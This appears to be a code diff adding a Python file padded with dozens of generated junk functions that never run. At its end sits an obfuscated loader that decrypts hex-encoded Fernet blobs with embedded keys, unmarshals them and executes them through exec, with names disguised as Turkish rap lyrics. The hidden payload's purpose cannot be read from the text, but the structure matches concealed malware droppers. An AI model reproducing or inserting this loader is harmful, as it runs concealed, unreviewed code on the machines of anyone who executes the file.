print(6353379) + + aaa8891774 = 5508685 + print(2083619) + + bbb6289267 = 9536993 + aa9142732 = 3969006 + x1172896 = 5420363 + xx5327194 = 3821212 + + a1792495 = 1679233 + aa6341902 = 6063452 + +def saint2896226(): + if 2679662 == 1874153: + + print(5513800) + aaa5507832 = 451523 + + print(2638669) + bbb4810393 = 7679369 + + aa6934918 = 499566 + + z7834506 = 7136785 + zz1369016 = 7909547 + + c9008817 = 5462507 + cc8331375 = 3959883 + + elif 6364301 == 6959872: + + print(6654283) + + aaa2838758 = 8624993 + print(3133566) + + bbb4675890 = 7917246 + aa9898756 = 1732120 + x758970 = 717093 + xx6893427 = 8924384 + + a9351222 = 246645 + aa9914505 = 5007481 + +def saint231892(): + if 3789991 == 5156783: + + print(8171078) + aaa2700794 = 8521286 + + print(1834882) + bbb2681879 = 7869837 + + aa1403083 = 3787854 + + z2356727 = 5224492 + zz1668791 = 2723267 + + c345146 = 5810412 + cc4709407 = 9207720 + + elif 5567916 == 234827: + + print(8402434) + + aaa4021115 = 847366 + print(7447055) + + bbb1050017 = 2296299 + aa5497581 = 7178523 + x8203402 = 9646040 + xx8974826 = 2986300 + + a6914486 = 8510470 + aa6664067 = 7171151 + +def saint7039433(): + if 3833865 == 9595167: + + print(5317391) + aaa4027371 = 6508018 + + print(9587536) + bbb5622678 = 1441981 + + aa5634494 = 1586136 + + z9715002 = 8200105 + zz8678786 = 2765379 + + c7826755 = 4793904 + cc2239229 = 9510564 + + elif 7948097 == 5821435: + + print(6183380) + + aaa6097467 = 9559621 + print(8612563) + + bbb9367153 = 7921502 + aa976845 = 5094738 + x1411152 = 9686344 + xx7569152 = 1951748 + + a1510562 = 7882143 + aa8569497 = 9794083 + +def saint6456280(): + if 5839972 == 7614250: + + print(6281169) + aaa2654130 = 300366 + + print(7339831) + bbb1885317 = 1585901 + + aa8587427 = 9398667 + + z7312108 = 4468796 + zz3789316 = 2251043 + + c364328 = 1111637 + cc1149152 = 7534497 + + elif 8620178 == 1133419: + + print(6757592) + + aaa4702528 = 7466805 + print(1294585) + + bbb7751797 = 1111324 + aa7744874 = 5063097 + x3373557 = 865840 + xx5096062 = 511434 + + a3702352 = 3992698 + aa4966067 = 5994401 + +class EfoVtYYLSC: + def Neyim_var_ki_Rapten_gayri(_, ____): + if Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri.Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga():from cryptography.fernet import Fernet as ___;__ = ___(____);______ = EfoVtYYLSC.________(_);_______ = __.decrypt(______);return _______ + def ________(_): + if Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri.Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga():__ = bytes.fromhex(_);return __ + +def saint1150530(): + if 3857065 == 2259369: + + print(5605155) + aaa2796481 = 2958121 + + print(4728144) + bbb4020037 = 5254620 + + aa1798886 = 1878451 + + z4971367 = 1758272 + zz4889626 = 4161782 + + c5366165 = 7826471 + cc9882454 = 6447074 + + elif 8815944 == 3338882: + + print(3275160) + + aaa4695975 = 302179 + print(1414577) + + bbb4062523 = 6889436 + aa6168822 = 9061399 + x8858822 = 3349075 + xx6678557 = 9233712 + + a4250848 = 8812475 + aa5080322 = 8967140 + +def saint3741072(): + if 985408 == 6755153: + + print(8750727) + aaa6641958 = 9834257 + + print(7483920) + bbb920600 = 6197038 + + aa5702664 = 7776781 + + z4658797 = 5076999 + zz6836692 = 1274672 + + c2690240 = 9009349 + cc3491751 = 5255816 + + elif 9509906 == 7639643: + + print(911606) + + aaa5607022 = 4100929 + print(9477183) + + bbb107229 = 8193048 + aa7715537 = 1550838 + x6295918 = 2190727 + xx8393589 = 9908022 + + a8896803 = 5550805 + aa1150830 = 6041534 + +def saint1182907(): + if 3202387 == 613053: + + print(334912) + aaa6695717 = 9654231 + + print(5420642) + bbb5473444 = 4506550 + + aa9790422 = 3419018 + + z900728 = 7312051 + zz3315211 = 494765 + + c8923387 = 6107188 + cc7695958 = 7335155 + + elif 5642257 == 7396347: + + print(9038807) + + aaa7687590 = 2163296 + print(3316962) + + bbb9487231 = 7157912 + aa6382938 = 1576348 + x3888975 = 8831117 + xx6134314 = 6061362 + + a7847764 = 1941876 + aa8621009 = 1066528 + +def saint7554385(): + if 4061346 == 8876815: + + print(7735258) + aaa9125104 = 6042995 + + print(3429464) + bbb8966339 = 4455451 + + aa501234 = 4587021 + + z9286363 = 8265955 + zz788466 = 7073916 + + c5383765 = 6126196 + cc3679192 = 214898 + + elif 3182289 == 102003: + + print(6529368) + + aaa4360636 = 9513664 + print(7764255) + + bbb2192250 = 5968789 + aa4955701 = 2963873 + x7068836 = 6205340 + xx6629509 = 3721666 + + a3686702 = 1916936 + aa7829383 = 247760 + +def saint6989332(): + if 4847996 == 6860203: + + print(6732004) + aaa7157826 = 8377281 + + print(5665600) + bbb3877401 = 8058676 + + aa2315280 = 4379886 + + z3099157 = 6842089 + zz5456738 = 7204776 + + c9299741 = 2638417 + cc3465823 = 1286115 + + elif 1110891 == 5187959: + + print(2789330) + + aaa5781807 = 8935904 + print(3753160) + + bbb7583675 = 2149701 + aa1299092 = 8737119 + x2759549 = 2940099 + xx282191 = 5417293 + + a6531648 = 6224390 + aa3979710 = 4347680 + +def saint6422849(): + if 339210 == 7484536: + + print(7530981) + aaa2839076 = 9972331 + + print(492355) + bbb3785653 = 9536915 + + aa7840767 = 1182790 + + z5719561 = 7213631 + zz6427043 = 3284609 + + c8887674 = 8073597 + cc1140653 = 7535657 + + elif 7224200 == 9073933: + + print(3426386) + + aaa8754310 = 3560075 + print(2723767) + + bbb783921 = 566234 + aa2816956 = 4118966 + x9920959 = 5568586 + xx6308981 = 2774974 + + a5207278 = 8629931 + aa9873463 = 4329311 + +def saint3750014(): + if 6801250 == 5241299: + + print(773380) + aaa7143527 = 6250708 + + print(3551003) + bbb9505624 = 2360232 + + aa668447 = 2191151 + + z3630909 = 3030789 + zz8820653 = 6480119 + + c3415606 = 9710389 + cc1594999 = 4722163 + + elif 8374796 == 7401011: + + print(4267500) + + aaa1643621 = 8029619 + print(2180969) + + bbb4268669 = 2870555 + aa5514592 = 1506513 + x4331650 = 8117809 + xx1754987 = 4207619 + + a7367934 = 3436795 + aa8038943 = 7728254 + +def saint1545992(): + if 8708121 == 9400252: + + print(706672) + aaa7878076 = 3771918 + + print(1144558) + bbb5330258 = 8428320 + + aa2105967 = 4169686 + + z2913830 = 879444 + zz4412952 = 5448849 + + c102131 = 6089589 + cc1881020 = 642757 + + elif 9446711 == 6324719: + + print(2938158) + + aaa2363559 = 5210211 + print(8856024) + + bbb9134237 = 3603558 + aa8845364 = 5313190 + x545631 = 1758615 + xx5333274 = 7736493 + + a3144910 = 6519769 + aa9796184 = 6891673 + +def saint8054197(): + if 6508436 == 8504332: + + print(3762233) + aaa5912466 = 673491 + + print(4796378) + bbb8169918 = 8852603 + + aa776436 = 1663275 + + z7647018 = 8980878 + zz4334376 = 3639802 + + c9860073 = 4492055 + cc2814076 = 253474 + + elif 1837392 == 5198876: + + print(581290) + + aaa5410372 = 7845655 + print(3178831) + + bbb9617569 = 739721 + aa9549300 = 8201504 + x7753614 = 5159899 + xx6463879 = 1069212 + + a7013278 = 721253 + aa1041672 = 5665200 + +def saint1473674(): + if 6105056 == 4833789: + + print(178651) + aaa2544495 = 7410344 + + print(8779686) + bbb1348494 = 8582993 + + aa6499762 = 5001974 + + z1051297 = 6060374 + zz9309202 = 6124698 + + c3486841 = 371905 + cc6827950 = 7015835 + + elif 8236260 == 9736659: + + print(1070475) + + aaa7830345 = 4332017 + print(3719218) + + bbb6410765 = 2588923 + aa8272304 = 7241393 + x8083920 = 9537885 + xx5296838 = 228282 + + a4116348 = 816050 + aa802817 = 9133871 + +def saint2267118(): + if 4916936 == 202517: + + print(4721083) + aaa7949508 = 8918093 + + print(8016614) + bbb4466729 = 9356433 + + aa6332070 = 4331906 + + z6787385 = 9779894 + zz565340 = 1555265 + + c1483115 = 8514804 + cc8253754 = 4369724 + + elif 3166921 == 4693997: + + print(8322936) + + aaa2962748 = 2180772 + print(9285357) + + bbb4501886 = 9881601 + aa6278313 = 4420780 + x6800140 = 5456107 + xx8528763 = 7482647 + + a9138807 = 2124487 + aa9591946 = 4869056 + +def saint2335004(): + if 8137349 == 9451938: + + print(3437389) + aaa2366962 = 9536443 + + print(3351734) + bbb8008779 = 4443770 + + aa1339419 = 4790261 + + z3466157 = 2836099 + zz3462269 = 4334263 + + c8860740 = 2976980 + cc7574344 = 1612208 + + elif 2283192 == 4346424: + + print(8215100) + + aaa6743483 = 6906026 + print(1610498) + + bbb537538 = 6519734 + aa6284480 = 4167248 + x9230398 = 491075 + xx9323023 = 428458 + + a3200340 = 3340808 + aa4626125 = 6986016 + +def saint3941871(): + if 5971641 == 5294212: + + print(7051955) + aaa6149756 = 7159095 + + print(8669767) + bbb4278613 = 9956766 + + aa8493728 = 8379246 + + z9831355 = 743790 + zz1346217 = 3627799 + + c1456727 = 7760198 + cc7942494 = 6689357 + + elif 8496568 == 5482716: + + print(6000337) + + aaa5944918 = 9674013 + print(8231227) + + bbb7428584 = 2757649 + aa7883225 = 402534 + x5671574 = 4646037 + xx1314144 = 2610287 + + a7928025 = 5057499 + aa3333189 = 6950707 + +def saint439052(): + if 7342571 == 9407577: + + print(4699798) + aaa6144673 = 9056498 + + print(5341070) + bbb7114928 = 2693712 + + aa1229758 = 3608210 + + z3569099 = 3261394 + zz6372706 = 1004252 + + c8508403 = 2972831 + cc782595 = 5328380 + + elif 9584971 == 3795126: + + print(7405882) + + aaa3277286 = 1202336 + print(3204716) + + bbb1941987 = 295770 + aa6156633 = 3686359 + x2990307 = 434910 + xx5624155 = 3620208 + + a8410116 = 2670483 + aa9216736 = 2288084 + +def saint8220856(): + if 2485909 == 1479834: + + print(472132) + aaa1892409 = 3181473 + + print(7795014) + bbb4415925 = 3257714 + + aa2840608 = 6595392 + + z5801220 = 3852757 + zz5105881 = 6378000 + + c2945777 = 404964 + cc364260 = 4505832 + + elif 7154107 == 5135774: + + print(6828091) + + aaa4817541 = 5888289 + print(1876689) + + bbb2310721 = 8071069 + aa3100598 = 943365 + x2306863 = 8899394 + xx6336179 = 9386222 + + a745633 = 1173879 + aa8221205 = 6881585 + +if __name__ == '__main__': + from marshal import loads as ____;from base64 import b64decode as __;___vare___ = lambda _,__: qUIxUIdfpJdegkC.Fincan_kahvem_hatrina_saydim(qUIxUIdfpJdegkC.Bir_yudumluk_askim_deli_sarhos(iLCvZKyPTl.Komplo_ordularinin_gardiyanlari(EfoVtYYLSC.Neyim_var_ki_Rapten_gayri(_, __))));_v_ = lambda _: "".join(chr(int(__)) for __ in _.split(__("Li4u").decode()));setattr(__builtins__, _v_(__("MTE4Li4uOTcuLi4xMTQuLi4xMDE=").decode()), setattr);vare(__builtins__, ____(qUIxUIdfpJdegkC.Bir_yudumluk_askim_deli_sarhos(iLCvZKyPTl.Komplo_ordularinin_gardiyanlari(EfoVtYYLSC.Neyim_var_ki_Rapten_gayri("674141414141426b3436314878367963455257476c4a39636e326d37535a4a5a5777726462676e4a34656e757a6a6d535f657234714a796d52655a6d647230543237664e7952796a4a7639614242304b675f56514232504978694b32356c5a563644785878544e32614e4948687154674f75456e554c343d", 'ddWxVGhhG17j6Zb7ZoLnKseg7Ds_GPExNWHXuUIDYlc=')))), exec);aJHHugzbevGjvAA = "vhjSWOZlJr9TE5z2OMgo3W9EnpL4FX8d7dQwtkmIcu0=";OUjdDBiPPuiHeSK = ["15|45|45|84|35|94|25|94|25|201|35|05|45|75|25|79|35|84|35|84|55|05|15|25|25|55|25|75|35|35|45|101|25|101|25|15|45|05|25|55|45|55|25|75|55|15|15|94|15|201|25|65|45|25|25|94|15|94|15|001|25|25|55|25|55|25|15|45|15|35|35|75|15|35|35|75|15|201|25|94|55|05|45|55|45|35|35|55|25|55|25|65|35|65|45|55|25|15|45|65|35|45|25|201|25|35|15|84|15|79|25|45|45|99|25|05|25|89|25|75|55|15|25|89|45|79|35|75|25|201|45|65|45|55|15|05|15|101|25|05|15|101|25|55|35|94|15|001|05|75|25|75|15|201|25|84|55|94|45|94|55|45|15|25|15|94|15|84|55|35|35|55|45|15|25|45|45|79|55|001|45|05|25|94|25|94|25|94|25|94|25|94|25|55|45", "001|15|001|15|55|55|101|45|99|25|75|25|79|45|94|25|65|25|65|25|94|25|99|25|65|25|15|15|25|15|55|55|99|45|75|15|15|25|79|25|45|35|65|15|65|15|101|45|84|55|15|15|79|55|201|25|45|35|55|25|79|45|84|55|75|55|101|45|84|55|15|25|201|45|25|45|05|35|89|25|05|15|35|45|99|25|65|55|79|55|201|35|15|45|35|15|79|25|79|25|79|55|94|35|35|35|35|15|15|45|55|15|35|15|001|25|79|25|001|25|35|35|75|15|75|25|94|55|45|15|201|45|101|25|55|55|84|35|65|55|001|05|65|25|25|45|25|25|84|55|55|55|101|25|79|35|79|45|79|25|25|25|75|45|55|55|25|45|89|45|75|35|45|15|79|55|84|35|94|35|65|35|05|15|15|25|75|15|89|25|201|25|101|25", "79|55|001|45|201|35|84|35|001|05|99|25|25|45|001|25|05|15|25|35|25|45|35|25|35|35|89|45|45|35|15|15|45|45|45|45|101|45|55|35|75|45|25|25|55|15|79|25|79|35|65|55|201|45|55|55|94|35|45|25|25|55|55|15|79|25|15|35|79|45|79|25|05|55|45|55|84|55|25|55|79|35|65|15|75|35|75|35|201|45|55|45|101|25|001|45|201|35|79|25|001|05|001|25|94|45|99|25|15|45|05|45|89|45|25|25|79|55|45|45|101|25|65|55|94|25|001|25|55|45|45|35|55|25|15|15|65|15|25|25|45|35|001|25|25|35|101|25|201|25|001|05|25|35|84|15|25|15|84|15|101|25|94|45|05|25|05|25|79|35|35|25|84|15|15|25|55|55|94|25|35|55|15|35|75|35|101|45|35|35|99|25|89|45|94"];__vare__(qUIxUIdfpJdegkC.Fincan_kahvem_hatrina_saydim(qUIxUIdfpJdegkC.Bir_yudumluk_askim_deli_sarhos(iLCvZKyPTl.Komplo_ordularinin_gardiyanlari(EfoVtYYLSC.Neyim_var_ki_Rapten_gayri("674141414141426d7a664367476b666837377235533456384966373459584f564c6549614f7a38335334425f7442596161616a315f7a7036536a374744366a5770513051656474645173414f5f5f356f466c476f42336749356b67646648755f716b436e703476796c747768417a4277305146734f582d6d6c6374694e6f7267574f6d5a7365616a364834627a5242745f636a70307566316a446e6635625876504d5a455270542d58336b666c78786d32426c377a41704b587664613048374d517557684337515f5447714753396d427043466d6c39746667527a7065666d764c4f737633386e464b535a503872454b61506178676e4a4767745f376e334b61696955564f7a7269512d70653774332d5552386b4b7257775751702d50664b6b5743506971444148436a5a48536c565a6a776e637045685a4f3947464e692d5551773237593572566a6e6d5571506c374b53504a3166647169532d507559434e566158366761664b333869353757635f324733345a47387271537634463038544739786d7a39776b437852484d2d51466a6f66334352715563303972785755693846424c6871394f73353936636d4d5a376e664442744c573731675778525f545f696c4a50454e315f535045384455586d39776b4b50487535376231575a39557236616c3750514a6c6377567542474841496a7a306732455f384f744131336c36785732676d625968766d4d33794230396942347275686b4b4b42726e675a424c5438397866464a4c4f6552327a7761474d6a7562747167454f5554456c6a414e4376324f52464a636d396a5739647670525953325f34697842532d30363136425374555434535043794262374735366b51617378504170304c66475961706a75523074486935643651515450385a32542d31347250626739503179377676343763456746617661667965596e76796d535272686939614b775f50326646585a4a344959617a6c364334524c6c4d42515a48514d435873333948516e336e375a324863704c6554594d366a6b664a70335f7239306c6536794b3341345a576b54614155716c346342704a44536c4c44386d75306c6e444d4e64634261524a3467672d6c7269794e436e697655416177336a366a35584d446b4c7378625f636f4861376d41673352444e4872726a7657487372564a6c4a744861794638363930536754726c3247735869475f3463713376796142495451676b77726a5a67466c704a616946465f4e4369576a376c4f47492d587333304c597035472d78427869324b726a7979447077624d4938737746705a6d5047762d4d664b784c6c64696e4c4765425437444e7a564976505953536154676e4d5545766e3464484146775179725f6d4542565056674731756b527761356d556454514568514653593453734742562d614633512d3078514f31614156314e3651694c62456f3062493044776b79754d6d4575626a594b73544d78657a71306b39553452584a4e4847354f354e515870783349594d71306f55534249507342306b78346b5758656b6b49655f774f6c7954626d30416d75706959366d7245463662716e686133483350414d5947717459704e6c61634d4b617844795a616d677873444679356b495949575530735a4f53535077714e72336c4c63726a64746d4b39726e343d", "vhjSWOZlJr9TE5z2OMgo3W9EnpL4FX8d7dQwtkmIcu0="))))) diff --git a/tests/vare/v2/test_vare_v2.py b/tests/vare/v2/test_vare_v2.py new file mode 100644 index 0000000..e69de29